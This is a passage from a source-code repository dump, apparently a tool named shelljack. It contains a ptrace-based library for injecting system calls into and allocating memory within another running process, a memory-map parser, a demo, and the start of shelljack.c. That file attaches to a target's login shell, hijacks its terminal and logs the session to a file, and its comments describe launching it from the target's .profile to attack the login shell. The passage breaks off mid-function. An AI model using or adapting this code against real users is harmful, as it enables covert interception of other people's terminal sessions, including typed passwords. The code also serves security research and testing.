(node->local_address == local_address))){ 338 | fprintf(stderr, "%s: ptrace_do_pull_mem(%lx, %lx): No matching address location\n", 339 | program_invocation_short_name, (unsigned long) target, (unsigned long) local_address); 340 | return(NULL); 341 | } 342 | 343 | memset(&ptrace_data, 0, sizeof(ptrace_data)); 344 | for(i = 0; i < (int) node->word_count; i++){ 345 | 346 | errno = 0; 347 | ptrace_data = ptrace(PTRACE_PEEKTEXT, target->pid, \ 348 | (void *) (node->remote_address + (i * sizeof(long))), NULL); 349 | if(errno){ 350 | fprintf(stderr, "%s: ptrace(%d, %d, %lx, NULL): %s\n", program_invocation_short_name, \ 351 | (int) PTRACE_PEEKTEXT, (int) target->pid, \ 352 | (long unsigned int) (node->remote_address + (i * sizeof(long))), strerror(errno)); 353 | return(NULL); 354 | } 355 | memcpy(&(((char *) local_address)[i * sizeof(long)]), &ptrace_data, sizeof(long)); 356 | } 357 | 358 | return((void *) node->remote_address); 359 | } 360 | 361 | /********************************************************************** 362 | * 363 | * void *ptrace_do_get_remote_addr(struct ptrace_do *target, void *local_address) 364 | * 365 | * Input: 366 | * This sessions ptrace_do object. 367 | * A local memory address as returned by ptrace_do_malloc(). 368 | * 369 | * Output: 370 | * The remote memory address associated with the local address. 371 | * NULL will be returned on error (i.e. no matching address). 372 | * 373 | **********************************************************************/ 374 | void *ptrace_do_get_remote_addr(struct ptrace_do *target, void *local_address){ 375 | struct mem_node *node; 376 | 377 | node = target->mem_head; 378 | if(node){ 379 | while(node->next && node->local_address != local_address){ 380 | node = node->next; 381 | } 382 | } 383 | 384 | if(!(node && (node->local_address == local_address))){ 385 | fprintf(stderr, "%s: ptrace_do_pull_mem(%lx, %lx): No matching address location\n", 386 | program_invocation_short_name, (unsigned long) target, (unsigned long) local_address); 387 | return(NULL); 388 | } 389 | 390 | return((void *) node->remote_address); 391 | } 392 | 393 | 394 | /********************************************************************** 395 | * 396 | * unsigned long ptrace_do_syscall(struct ptrace_do *target, \ 397 | * unsigned long rax, unsigned long rdi, unsigned long rsi, \ 398 | * unsigned long rdx, unsigned long r10, unsigned long r8, unsigned long r9) 399 | * 400 | * Input: 401 | * This sessions ptrace_do object. 402 | * The registers as you would want to set them for a syscall. 403 | * (Registers that are not needed should be set to 0.) 404 | * 405 | * Output: 406 | * The results of the syscall will be returned (as we recieved it 407 | * back from rax.) 408 | * On error, errno will be set appropriately. 409 | * 410 | * Purpose: 411 | * Set up and execute a syscall within the remote process. 412 | * 413 | * Example code for running "exit(42);" in the remote process: 414 | * 415 | * #include 416 | * ... 417 | * struct ptrace_do *my_target; 418 | * unsigned long my_rax; 419 | * ... 420 | * my_rax = ptrace_do_syscall(my_target, _NR_exit, 42, 0, 0, 0, 0, 0); 421 | * 422 | **********************************************************************/ 423 | unsigned long ptrace_do_syscall(struct ptrace_do *target, unsigned long rax, \ 424 | unsigned long rdi, unsigned long rsi, unsigned long rdx, \ 425 | unsigned long r10, unsigned long r8, unsigned long r9){ 426 | 427 | int retval, status, sig_remember = 0; 428 | struct user_regs_struct attack_regs; 429 | 430 | 431 | /* 432 | * There are two possible failure modes when calling ptrace_do_syscall(): 433 | * 434 | * 1) ptrace_do_syscall() fails. In this case we should return -1 435 | * and leave errno untouched (as it should be properly set when 436 | * the error occurs). 437 | * 438 | * or 439 | * 440 | * 2) ptrace_do_syscall() is fine, but the remote syscall fails. 441 | * In this case, we can't analyze the error without being intrusive, 442 | * so we will leave that job to the calling code. We should return the 443 | * syscall results as it was passed to us in rax, but that may 444 | * legitimately be less than 0. As such we should zero out errno to ensure 445 | * the failure mode we are in is clear. 446 | */ 447 | errno = 0; 448 | 449 | memcpy(&attack_regs, &(target->saved_regs), sizeof(attack_regs)); 450 | 451 | attack_regs.rax = rax; 452 | attack_regs.rdi = rdi; 453 | attack_regs.rsi = rsi; 454 | attack_regs.rdx = rdx; 455 | attack_regs.r10 = r10; 456 | attack_regs.r8 = r8; 457 | attack_regs.r9 = r9; 458 | 459 | attack_regs.rip = target->syscall_address; 460 | 461 | if((retval = ptrace(PTRACE_SETREGS, target->pid, NULL, &attack_regs)) == -1){ 462 | fprintf(stderr, "%s: ptrace(%d, %d, %lx, %lx): %s\n", program_invocation_short_name, \ 463 | (int) PTRACE_SETREGS, (int) target->pid, (long unsigned int) NULL, \ 464 | (long unsigned int) &attack_regs, strerror(errno)); 465 | return(-1); 466 | } 467 | 468 | RETRY: 469 | status = 0; 470 | if((retval = ptrace(PTRACE_SINGLESTEP, target->pid, NULL, NULL)) == -1){ 471 | fprintf(stderr, "%s: ptrace(%d, %d, %lx, %lx): %s\n", program_invocation_short_name, \ 472 | (int) PTRACE_SINGLESTEP, (int) target->pid, (long unsigned int) NULL, \ 473 | (long unsigned int) NULL, strerror(errno)); 474 | return(-1); 475 | } 476 | 477 | if((retval = waitpid(target->pid, &status, 0)) < 1){ 478 | fprintf(stderr, "%s: waitpid(%d, %lx, 0): %s\n", program_invocation_short_name, \ 479 | (int) target->pid, (unsigned long) &status, strerror(errno)); 480 | return(-1); 481 | } 482 | 483 | if(status){ 484 | if(WIFEXITED(status)){ 485 | errno = ECHILD; 486 | fprintf(stderr, "%s: waitpid(%d, %lx, 0): WIFEXITED(%d)\n", program_invocation_short_name, \ 487 | target->pid, (unsigned long) &status, status); 488 | return(-1); 489 | } 490 | if(WIFSIGNALED(status)){ 491 | errno = ECHILD; 492 | fprintf(stderr, "%s: waitpid(%d, %lx, 0): WIFSIGNALED(%d): WTERMSIG(%d): %d\n", \ 493 | program_invocation_short_name, target->pid, (unsigned long) &status, \ 494 | status, status, WTERMSIG(status)); 495 | return(-1); 496 | } 497 | if(WIFSTOPPED(status)){ 498 | 499 | if(target->sig_ignore & 1<pid, (unsigned long) &status, status); 510 | return(-1); 511 | } 512 | } 513 | 514 | if((retval = ptrace(PTRACE_GETREGS, target->pid, NULL, &attack_regs)) == -1){ 515 | fprintf(stderr, "%s: ptrace(%d, %d, %lx, %lx): %s\n", program_invocation_short_name, \ 516 | (int) PTRACE_GETREGS, (int) target->pid, (long unsigned int) NULL, \ 517 | (long unsigned int) &attack_regs, strerror(errno)); 518 | return(-1); 519 | } 520 | 521 | // Re-deliver any signals we caught and ignored. 522 | if(sig_remember){ 523 | // Not checking for errors here. This is a best effort to deliver the previous signal state. 524 | kill(target->pid, sig_remember); 525 | } 526 | 527 | // Let's reset this to what it was upon entry. 528 | if((retval = ptrace(PTRACE_SETREGS, target->pid, NULL, &(target->saved_regs))) == -1){ 529 | fprintf(stderr, "%s: ptrace(%d, %d, %lx, %lx): %s\n", program_invocation_short_name, \ 530 | (int) PTRACE_SETREGS, (int) target->pid, (long unsigned int) NULL, \ 531 | (long unsigned int) &(target->saved_regs), strerror(errno)); 532 | return(-1); 533 | } 534 | 535 | // Made it this far. Sounds like the ptrace_do_syscall() was fine. :) 536 | errno = 0; 537 | return(attack_regs.rax); 538 | } 539 | 540 | 541 | /********************************************************************** 542 | * 543 | * void ptrace_do_cleanup(struct ptrace_do *target) 544 | * 545 | * Input: 546 | * This sessions ptrace_do object. 547 | * 548 | * Output: 549 | * None. 550 | * 551 | * Purpose: 552 | * Restore the registers of the target process. Free remote 553 | * memory buffers. Destroy and free the local objects. 554 | * Detach from the process and let it resume. 555 | * 556 | * Note: It is intended that this function is safe to call when 557 | * attempting to gracefully disengage the target process after 558 | * encountering errors. 559 | * 560 | **********************************************************************/ 561 | void ptrace_do_cleanup(struct ptrace_do *target){ 562 | 563 | int retval; 564 | struct mem_node *this_node, *previous_node; 565 | 566 | 567 | this_node = target->mem_head; 568 | while(this_node){ 569 | 570 | if((retval = (int) ptrace_do_syscall(target, \ 571 | __NR_munmap, this_node->remote_address, this_node->word_count * sizeof(long), \ 572 | 0, 0, 0, 0)) < 0){ 573 | fprintf(stderr, "%s: ptrace_do_syscall(%lx, %d, %lx, %d, %d, %d, %d, %d): %s\n", \ 574 | program_invocation_short_name, \ 575 | (unsigned long) target, __NR_munmap, this_node->remote_address, \ 576 | (int) (this_node->word_count * sizeof(long)), 0, 0, 0, 0, strerror(-retval)); 577 | } 578 | 579 | free(this_node->local_address); 580 | 581 | previous_node = this_node; 582 | this_node = this_node->next; 583 | free(previous_node); 584 | } 585 | 586 | if((retval = ptrace(PTRACE_SETREGS, target->pid, NULL, &(target->saved_regs))) == -1){ 587 | fprintf(stderr, "%s: ptrace(%d, %d, %lx, %lx): %s\n", program_invocation_short_name, \ 588 | (int) PTRACE_SETREGS, (int) target->pid, (long unsigned int) NULL, \ 589 | (long unsigned int) &(target->saved_regs), strerror(errno)); 590 | } 591 | 592 | if((retval = ptrace(PTRACE_DETACH, target->pid, NULL, NULL)) == -1){ 593 | fprintf(stderr, "%s: ptrace(%d, %d, %lx, %lx): %s\n", program_invocation_short_name, \ 594 | (int) PTRACE_DETACH, (int) target->pid, (long unsigned int) NULL, \ 595 | (long unsigned int) NULL, strerror(errno)); 596 | } 597 | 598 | free(target); 599 | } 600 | 601 | 602 | /********************************************************************** 603 | * 604 | * void ptrace_do_free(struct ptrace_do *target, void *local_address, int operation) 605 | * 606 | * Input: 607 | * This sessions ptrace_do object, the local_address of the joint memory node, 608 | * and the way you would like it freed. 609 | * 610 | * Output: 611 | * None. 612 | * 613 | * Purpose: 614 | * To dispose of unused objects, both local and / or remote. 615 | * 616 | * Operations: 617 | * FREE_LOCAL - Destroy the local data, but leave the remote data intact. 618 | * FREE_REMOTE - Destroy the remote data, but leave the local data intact. 619 | * FREE_BOTH - Destroy both the local and remote data. 620 | * 621 | * Notes: 622 | * Regardless of the operation chosen, the node associated with the local_address 623 | * will be destroyed. 624 | * 625 | * This function is useful for using FREE_LOCAL to disassociate the remote 626 | * data with the controler process, while leaving it intact for use after a 627 | * PTRACE_DETACH call. Also, when you call ptrace_do_cleanup(), all 628 | * nodes that have not been manually delt with will be destroyed and the memory 629 | * will be freed, both remote and local. 630 | * 631 | **********************************************************************/ 632 | void ptrace_do_free(struct ptrace_do *target, void *local_address, int operation){ 633 | int retval; 634 | struct mem_node *this_node, *previous_node; 635 | 636 | previous_node = NULL; 637 | this_node = target->mem_head; 638 | 639 | while(this_node){ 640 | if(this_node->local_address == local_address){ 641 | break; 642 | } 643 | previous_node = this_node; 644 | this_node = this_node->next; 645 | } 646 | 647 | if(operation & FREE_REMOTE){ 648 | if((retval = (int) ptrace_do_syscall(target, \ 649 | __NR_munmap, this_node->remote_address, this_node->word_count * sizeof(long), \ 650 | 0, 0, 0, 0)) < 0){ 651 | fprintf(stderr, "%s: ptrace_do_syscall(%lx, %d, %lx, %d, %d, %d, %d, %d): %s\n", \ 652 | program_invocation_short_name, \ 653 | (unsigned long) target, __NR_munmap, this_node->remote_address, \ 654 | (int) (this_node->word_count * sizeof(long)), 0, 0, 0, 0, strerror(-retval)); 655 | } 656 | } 657 | 658 | if(operation & FREE_LOCAL){ 659 | free(this_node->local_address); 660 | } 661 | 662 | if(previous_node){ 663 | previous_node->next = this_node->next; 664 | }else{ 665 | target->mem_head = this_node->next; 666 | } 667 | 668 | free(this_node); 669 | } 670 | -------------------------------------------------------------------------------- /ptrace_do/libptrace_do.h: -------------------------------------------------------------------------------- 1 | 2 | #define _GNU_SOURCE 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | 20 | 21 | #define SYSCALL 0x050f 22 | #define SYSCALL_MASK 0x000000000000ffff 23 | #define SIZEOF_SYSCALL 2 24 | 25 | 26 | #define LIBC_PATH "/lib/libc-" 27 | 28 | 29 | 30 | /* Basic object for keeping state. */ 31 | struct ptrace_do{ 32 | int pid; 33 | unsigned long sig_ignore; 34 | struct user_regs_struct saved_regs; 35 | 36 | struct parse_maps *map_head; 37 | unsigned long syscall_address; 38 | 39 | struct mem_node *mem_head; 40 | }; 41 | 42 | // Modes for specifying how to free a joint memory node. 43 | #define FREE_LOCAL 0x01 44 | #define FREE_REMOTE 0x10 45 | #define FREE_BOTH 0x11 46 | 47 | /* As needed, joint nodes of memory both local and remote. */ 48 | struct mem_node{ 49 | void *local_address; 50 | unsigned long remote_address; 51 | size_t word_count; 52 | 53 | struct mem_node *next; 54 | }; 55 | 56 | 57 | /* ptrace_do_init() hooks the target and prepares it to run our commands. */ 58 | struct ptrace_do *ptrace_do_init(int pid); 59 | 60 | /* ptrace_do_malloc() allocates memory in the remote process for our use, without worry of upsetting the remote memory state. */ 61 | void *ptrace_do_malloc(struct ptrace_do *target, size_t size); 62 | 63 | /* ptrace_do_free() frees a joint memory object. "operation" refers to the FREE_* modes above. */ 64 | void ptrace_do_free(struct ptrace_do *target, void *local_address, int operation); 65 | 66 | /* ptrace_do_push_mem() and ptrace_do_pull_mem() synchronize the memory states between local and remote buffers. */ 67 | void *ptrace_do_push_mem(struct ptrace_do *target, void *local_address); 68 | void *ptrace_do_pull_mem(struct ptrace_do *target, void *local_address); 69 | 70 | /* Short helper function to translate your local address to the remote one. */ 71 | void *ptrace_do_get_remote_addr(struct ptrace_do *target, void *local_addr); 72 | 73 | /* ptrace_do_sig_ignore() sets the signal mask for the remote process. */ 74 | /* This is simple enough, we only need a macro. */ 75 | /* Note, this is for *our* handling of remote signals. This won't persist once we detatch. */ 76 | #define ptrace_do_sig_ignore(TARGET, SIGNAL) TARGET->sig_ignore |= 1< 0){ 69 | if(*tmp_ptr == '\n'){ 70 | *tmp_ptr = '\0'; 71 | 72 | if((map_tmp = parse_next_line(buffer)) == NULL){ 73 | fprintf(stderr, "parse_next_line(%s): %s\n", buffer, strerror(errno)); 74 | goto CLEAN_UP; 75 | } 76 | 77 | if(!map_head){ 78 | map_head = map_tmp; 79 | map_tail = map_tmp; 80 | }else{ 81 | map_tail->next = map_tmp; 82 | map_tmp->previous = map_tail; 83 | map_tail = map_tmp; 84 | } 85 | 86 | memset(buffer, 0, buffer_len); 87 | tmp_ptr = buffer; 88 | 89 | }else{ 90 | tmp_ptr++; 91 | } 92 | } 93 | 94 | if(ret_int == -1){ 95 | fprintf(stderr, "read(%d, %lx, 1): %s\n", fd, (unsigned long) tmp_ptr, strerror(errno)); 96 | goto CLEAN_UP; 97 | } 98 | 99 | 100 | free(buffer); 101 | close(fd); 102 | return(map_head); 103 | 104 | 105 | CLEAN_UP: 106 | 107 | free(buffer); 108 | close(fd); 109 | free_parse_maps_list(map_head); 110 | return(NULL); 111 | } 112 | 113 | 114 | /*********************************************************************************************************************** 115 | * 116 | * parse_next_line() 117 | * 118 | * Input: 119 | * A pointer to the string that represents the next line of the file. 120 | * 121 | * Output: 122 | * A pointer to the next node, as created from this line. 123 | * 124 | * Purpose: 125 | * This is a helper function, not exposed externally. It parses a line and returns a node. Enough said. :) 126 | * 127 | **********************************************************************************************************************/ 128 | struct parse_maps *parse_next_line(char *line){ 129 | 130 | struct parse_maps *node = NULL; 131 | char *token_head, *token_tail; 132 | 133 | // The comments mentioning data types are just trying to demonstrate 134 | // the type of data we will be parsing in that area. 135 | 136 | if((node = (struct parse_maps *) calloc(1, sizeof(struct parse_maps))) == NULL){ 137 | fprintf(stderr, "calloc(1, %d): %s\n", (int) sizeof(struct parse_maps), strerror(errno)); 138 | goto CLEAN_UP; 139 | } 140 | 141 | // unsigned long start_address; 142 | token_head = line; 143 | if((token_tail = strchr(token_head, '-')) == NULL){ 144 | fprintf(stderr, "strchr(%s, '%c'): %s\n", token_head, '-', strerror(errno)); 145 | goto CLEAN_UP; 146 | } 147 | 148 | *token_tail = '\0'; 149 | node->start_address = strtoul(token_head, NULL, 16); 150 | 151 | // unsigned long end_address; 152 | token_head = token_tail + 1; 153 | if((token_tail = strchr(token_head, ' ')) == NULL){ 154 | fprintf(stderr, "strchr(%s, '%c'): %s\n", token_head, ' ', strerror(errno)); 155 | goto CLEAN_UP; 156 | } 157 | *token_tail = '\0'; 158 | node->end_address = strtoul(token_head, NULL, 16); 159 | 160 | // unsigned int perms; 161 | token_head = token_tail + 1; 162 | if((token_tail = strchr(token_head, ' ')) == NULL){ 163 | fprintf(stderr, "strchr(%s, '%c'): %s\n", token_head, ' ', strerror(errno)); 164 | goto CLEAN_UP; 165 | } 166 | *token_tail = '\0'; 167 | if(*(token_head++) == 'r'){ 168 | node->perms |= MAPS_READ; 169 | } 170 | if(*(token_head++) == 'w'){ 171 | node->perms |= MAPS_WRITE; 172 | } 173 | if(*(token_head++) == 'x'){ 174 | node->perms |= MAPS_EXECUTE; 175 | } 176 | if(*token_head == 'p'){ 177 | node->perms |= MAPS_PRIVATE; 178 | }else if(*token_head == 's'){ 179 | node->perms |= MAPS_SHARED; 180 | } 181 | 182 | // unsigned long offset; 183 | token_head = token_tail + 1; 184 | if((token_tail = strchr(token_head, ' ')) == NULL){ 185 | fprintf(stderr, "strchr(%s, '%c'): %s\n", token_head, ' ', strerror(errno)); 186 | goto CLEAN_UP; 187 | } 188 | *token_tail = '\0'; 189 | node->offset = strtoul(token_head, NULL, 16); 190 | 191 | // unsigned int dev_major; 192 | token_head = token_tail + 1; 193 | if((token_tail = strchr(token_head, ':')) == NULL){ 194 | fprintf(stderr, "strchr(%s, '%c'): %s\n", token_head, ':', strerror(errno)); 195 | goto CLEAN_UP; 196 | } 197 | *token_tail = '\0'; 198 | node->dev_major = strtol(token_head, NULL, 16); 199 | 200 | // unsigned int dev_minor; 201 | token_head = token_tail + 1; 202 | if((token_tail = strchr(token_head, ' ')) == NULL){ 203 | fprintf(stderr, "strchr(%s, '%c'): %s\n", token_head, ' ', strerror(errno)); 204 | goto CLEAN_UP; 205 | } 206 | *token_tail = '\0'; 207 | node->dev_minor = strtol(token_head, NULL, 16); 208 | 209 | // unsigned long inode; 210 | token_head = token_tail + 1; 211 | if((token_tail = strchr(token_head, ' ')) == NULL){ 212 | fprintf(stderr, "strchr(%s, '%c'): %s\n", token_head, ' ', strerror(errno)); 213 | goto CLEAN_UP; 214 | } 215 | *token_tail = '\0'; 216 | node->inode = strtol(token_head, NULL, 10); 217 | 218 | // char pathname[PATH_MAX]; 219 | token_head = token_tail + 1; 220 | if(*token_head){ 221 | if((token_head = strrchr(token_head, ' ')) == NULL){ 222 | fprintf(stderr, "strrchr(%s, '%c'): %s\n", token_head, ' ', strerror(errno)); 223 | goto CLEAN_UP; 224 | } 225 | token_head++; 226 | memcpy(node->pathname, token_head, strlen(token_head)); 227 | } 228 | 229 | return(node); 230 | 231 | CLEAN_UP: 232 | free(node); 233 | return(NULL); 234 | } 235 | 236 | 237 | /*********************************************************************************************************************** 238 | * 239 | * free_parse_maps_list() 240 | * 241 | * Input: 242 | * A pointer to the head of the list. 243 | * 244 | * Output: 245 | * Nothing. 246 | * 247 | * Purpose: 248 | * Free the members of the linked list. 249 | * 250 | **********************************************************************************************************************/ 251 | void free_parse_maps_list(struct parse_maps *head){ 252 | struct parse_maps *tmp; 253 | 254 | while(head){ 255 | tmp = head->next; 256 | free(head); 257 | head = tmp; 258 | } 259 | } 260 | 261 | 262 | /*********************************************************************************************************************** 263 | * 264 | * dump_parse_maps_list() 265 | * 266 | * Input: 267 | * A pointer to the head of the list. 268 | * 269 | * Output: 270 | * Nothing, but it will print representations of the internal data to stdout. 271 | * 272 | * Purpose: 273 | * Show us what the linked list looks like. Mostly intended for debugging. 274 | * 275 | **********************************************************************************************************************/ 276 | void dump_parse_maps_list(struct parse_maps *head){ 277 | 278 | while(head){ 279 | printf("--------------------------------------------------------------------------------\n"); 280 | printf("node: %lx\n", (unsigned long) head); 281 | printf("--------------------------------------------------------------------------------\n"); 282 | printf("start_address:\t\t%lx\n", head->start_address); 283 | printf("end_address:\t\t%lx\n", head->end_address); 284 | printf("perms:\t\t\t%05x\n", head->perms); 285 | printf("offset:\t\t\t%lx\n", head->offset); 286 | printf("dev_major:\t\t%x\n", head->dev_major); 287 | printf("dev_minor:\t\t%x\n", head->dev_minor); 288 | printf("inode:\t\t\t%lx\n", head->inode); 289 | printf("pathname:\t\t%s\n", head->pathname); 290 | 291 | printf("parse_maps *next:\t%lx\n", (unsigned long) head->next); 292 | printf("parse_maps *previous:\t%lx\n", (unsigned long) head->previous); 293 | printf("\n"); 294 | 295 | head = head->next; 296 | } 297 | } 298 | -------------------------------------------------------------------------------- /ptrace_do/test.c: -------------------------------------------------------------------------------- 1 | 2 | /******************************************************************************* 3 | * 4 | * This snippet is just some test code as a demo. Nothing special to see here. 5 | * Add or change code as needed for your own learning / testing. 6 | * 7 | ******************************************************************************/ 8 | 9 | #define _GNU_SOURCE 10 | 11 | #include 12 | #include 13 | #include 14 | 15 | #include "libptrace_do.h" 16 | 17 | #define BUFF_LEN 50 18 | 19 | 20 | int main(int argc, char **argv){ 21 | int retval; 22 | int pid; 23 | 24 | char *string1, *string2, *string3; 25 | void *tmp_addr; 26 | 27 | struct ptrace_do *target; 28 | 29 | 30 | if(argc != 2){ 31 | fprintf(stderr, "usage: %s PID\n", program_invocation_short_name); 32 | exit(-1); 33 | } 34 | 35 | // grab the pid of a target process. 36 | retval = strtol(argv[1], NULL, 10); 37 | if(errno || !retval){ 38 | fprintf(stderr, "usage: %s PID\n", program_invocation_short_name); 39 | exit(-1); 40 | } 41 | pid = retval; 42 | 43 | // Hook the target. 44 | target = ptrace_do_init(pid); 45 | 46 | // Demonstrating memory allocation in the target process. 47 | string1 = (char *) ptrace_do_malloc(target, BUFF_LEN); 48 | memset(string1, 0, BUFF_LEN); 49 | // Treat the local string as you would normally. 50 | snprintf(string1, BUFF_LEN, "foo\n"); 51 | // Then, when its all set, push it into the remote processes memory. It will know the right spot automatically. 52 | tmp_addr = ptrace_do_push_mem(target, string1); 53 | // Now that it's in the remote memory we can remotely call the write() syscall, and point it at the remote address. 54 | ptrace_do_syscall(target, __NR_write, 1, (unsigned long) tmp_addr, strnlen(string1, BUFF_LEN), 0, 0, 0); 55 | 56 | // Lets do it a couple more times with different buffer sizes. 57 | string2 = (char *) ptrace_do_malloc(target, BUFF_LEN - 3); 58 | memset(string2, 0, BUFF_LEN - 3); 59 | snprintf(string2, BUFF_LEN - 3, "bar\n"); 60 | tmp_addr = ptrace_do_push_mem(target, string2); 61 | ptrace_do_syscall(target, __NR_write, 1, (unsigned long) tmp_addr, strnlen(string2, BUFF_LEN - 3), 0, 0, 0); 62 | 63 | // One more time... 64 | string3 = (char *) ptrace_do_malloc(target, BUFF_LEN - 5); 65 | memset(string3, 0, BUFF_LEN - 5); 66 | snprintf(string3, BUFF_LEN - 5, "baz\n"); 67 | tmp_addr = ptrace_do_push_mem(target, string3); 68 | ptrace_do_syscall(target, __NR_write, 1, (unsigned long) tmp_addr, strnlen(string3, BUFF_LEN - 5), 0, 0, 0); 69 | 70 | // Throw in a sleep(60); in here if you want to pause and go examine the targets /proc/PID/maps file. 71 | 72 | // Let's clear the memory in the local buffers... 73 | memset(string2, 0, BUFF_LEN - 3); 74 | memset(string3, 0, BUFF_LEN - 5); 75 | 76 | // and now demonstrate that we can pull the data from the remote memory locations. 77 | tmp_addr = ptrace_do_pull_mem(target, string3); 78 | // Here you'll see the address in the remote memory being known and printed locally. 79 | printf("DEBUG: tmp_addr: %p\n", tmp_addr); 80 | ptrace_do_syscall(target, __NR_write, 1, (unsigned long) tmp_addr, strnlen(string3, BUFF_LEN - 5), 0, 0, 0); 81 | 82 | tmp_addr = ptrace_do_pull_mem(target, string2); 83 | printf("DEBUG: tmp_addr: %p\n", tmp_addr); 84 | ptrace_do_syscall(target, __NR_write, 1, (unsigned long) tmp_addr, strnlen(string2, BUFF_LEN - 3), 0, 0, 0); 85 | 86 | // Unhook and clean up. 87 | ptrace_do_cleanup(target); 88 | 89 | return(0); 90 | } 91 | -------------------------------------------------------------------------------- /shelljack.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #include 17 | 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | #include "mara.h" 26 | #include "libptrace_do.h" 27 | #include "libctty.h" 28 | 29 | 30 | #define LOCAL_BUFFER_LEN 64 31 | #define READLINE_BUFFER_LEN 256 32 | 33 | #define ATTATCH_DELAY 1 34 | 35 | 36 | volatile sig_atomic_t sig_found = 0; 37 | 38 | 39 | void sig_handler(int signal); 40 | 41 | 42 | void signal_handler(int signal){ 43 | sig_found = signal; 44 | } 45 | 46 | int shelljack(int target_pid,char *filename){ 47 | 48 | int i, retval; 49 | int retcode = 0; 50 | int tmp_fd, fd_max; 51 | int ptrace_error; 52 | int original_tty_fd, new_tty_fd; 53 | int bytes_read; 54 | int tmp_flag; 55 | int current_sig; 56 | //int target_pid; 57 | int target_fd_count, *target_fds = NULL; 58 | void *remote_addr; 59 | 60 | char scratch[LOCAL_BUFFER_LEN]; 61 | char *remote_scratch = NULL; 62 | char char_read; 63 | char *tmp_ptr; 64 | char *tty_name; 65 | 66 | struct ptrace_do *target; 67 | struct termios saved_termios_attrs, new_termios_attrs; 68 | struct sigaction act, oldact; 69 | struct winsize argp; 70 | 71 | struct stat tty_info; 72 | 73 | fd_set fd_select; 74 | pid_t sig_pid; 75 | 76 | struct rlimit fd_limit; 77 | 78 | 79 | 80 | /* 81 | * We're going to mess around with hijacking the tty for a login shell. SIGHUP is a certainty. 82 | */ 83 | signal(SIGHUP, SIG_IGN); 84 | signal(SIGCHLD, SIG_IGN); 85 | //signal(SIGHUP, SA_NOCLDWAIT); 86 | 87 | /* 88 | * We aren't *really* a daemon, because we will end up with a controlling tty. 89 | * However, we will act daemon-like otherwise. Lets do those daemon-like things now. 90 | */ 91 | 92 | umask(0); 93 | 94 | if((retval = fork()) == -1){ 95 | perror("fork()"); 96 | exit(-1); 97 | } 98 | 99 | if(retval){ 100 | int status; 101 | waitpid(retval, &status, WNOHANG); 102 | return(0); 103 | } 104 | 105 | if((int) (retval = setsid()) == -1){ 106 | perror("setsid()"); 107 | exit(-1); 108 | } 109 | 110 | if((retval = chdir("/")) == -1){ 111 | perror("chdir()"); 112 | exit(-1); 113 | } 114 | 115 | if((retval = getrlimit(RLIMIT_NOFILE, &fd_limit))){ 116 | perror("getrlimit(RLIMIT_NOFILE"); 117 | exit(-1); 118 | } 119 | 120 | 121 | // Lets close any file descriptors we may have inherited. 122 | for(i = 0; i < (int) fd_limit.rlim_max; i++){ 123 | if(i != STDERR_FILENO){ 124 | close(i); 125 | } 126 | } 127 | 128 | /************************************************************* 129 | * Connect to the listener and set up stdout and stderr 130 | *************************************************************/ 131 | if((tmp_fd = open(filename, O_WRONLY|O_CREAT, S_IRUSR|S_IWUSR)) == -1){ 132 | perror("Unable to open file: "); 133 | exit(-1); 134 | } 135 | 136 | if((retval = close(STDERR_FILENO)) == -1){ 137 | perror("close(STDERR_FILENO)"); 138 | exit(-1); 139 | } 140 | 141 | if((retval = dup2(tmp_fd, STDERR_FILENO)) == -1){ 142 | perror("dup2"); 143 | exit(-1); 144 | } 145 | 146 | if((retval = dup2(tmp_fd, STDOUT_FILENO)) == -1){ 147 | perror("dup2"); 148 | exit(-1); 149 | } 150 | 151 | 152 | /* 153 | * This helps with a race condition if being launched out of the target's .profile in order 154 | * to attack the login shell. Apparently, bash sources the .profile *before* it configures the tty. 155 | */ 156 | sleep(ATTATCH_DELAY); 157 | 158 | 159 | /************************************** 160 | * Open the original tty for our use. * 161 | **************************************/ 162 | if((tty_name = ctty_get_name(target_pid)) == NULL){ 163 | TRACE( "[-] ctty_get_name(%d)", target_pid); 164 | } 165 | 166 | if((target_fd_count = ctty_get_fds(target_pid, tty_name, &target_fds)) == -1){ 167 | TRACE("[-] ctty_get_fds(%d, %s, %lx)", target_pid, tty_name, (unsigned long) &target_fds); 168 | } 169 | 170 | if((original_tty_fd = open(tty_name, O_RDWR|O_NOCTTY)) == -1){ 171 | TRACE("[-] open(%s, %d)", tty_name, O_RDWR); 172 | } 173 | 174 | if((retval = fstat(original_tty_fd, &tty_info)) == -1){ 175 | TRACE("[-] fstat(%d, %lx)", original_tty_fd, (unsigned long) &tty_info); 176 | } 177 | 178 | if((retval = tcgetattr(original_tty_fd, &saved_termios_attrs)) == -1){ 179 | TRACE("[-] tcgetattr(%d, %lx)", original_tty_fd, (unsigned long) &saved_termios_attrs); 180 | } 181 | 182 | 183 | /****************************** 184 | * Setup our master terminal. * 185 | ******************************/ 186 | 187 | if((new_tty_fd = posix_openpt(O_RDWR)) == -1){ 188 | TRACE("[-] posix_openpt(%d)", O_RDWR); 189 | } 190 | 191 | if(grantpt(new_tty_fd)){ 192 | TRACE("[-] grantpt(%d)", new_tty_fd); 193 | } 194 | 195 | if(unlockpt(new_tty_fd)){ 196 | TRACE("[-] unlockpt(%d)", new_tty_fd); 197 | } 198 | 199 | if((retval = tcsetattr(new_tty_fd, TCSANOW, &saved_termios_attrs)) == -1){ 200 | TRACE("[-] tcgetattr(%d, %lx)", new_tty_fd, (unsigned long) &saved_termios_attrs); 201 | } 202 | 203 | 204 | /*************************************************************************** 205 | * Hook into the target process and mangle the target's fds appropriately. * 206 | ***************************************************************************/ 207 | ptrace_error = 0; 208 | if((target = ptrace_do_init(target_pid)) == NULL){ 209 | TRACE("[-] ptrace_do_init(%d)", target_pid); 210 | 211 | ptrace_error = 1; 212 | goto CLEAN_UP; 213 | } 214 | 215 | for(i = 0; i < target_fd_count; i++){ 216 | if(!i){ 217 | 218 | /* 219 | * Quoted from linux/drivers/tty/tty_io.c (kernel source), regarding disassociate_ctty(): 220 | * It performs the following functions: 221 | * (1) Sends a SIGHUP and SIGCONT to the foreground process group 222 | * (2) Clears the tty from being controlling the session 223 | * (3) Clears the controlling tty for all processes in the 224 | * session group. 225 | */ 226 | 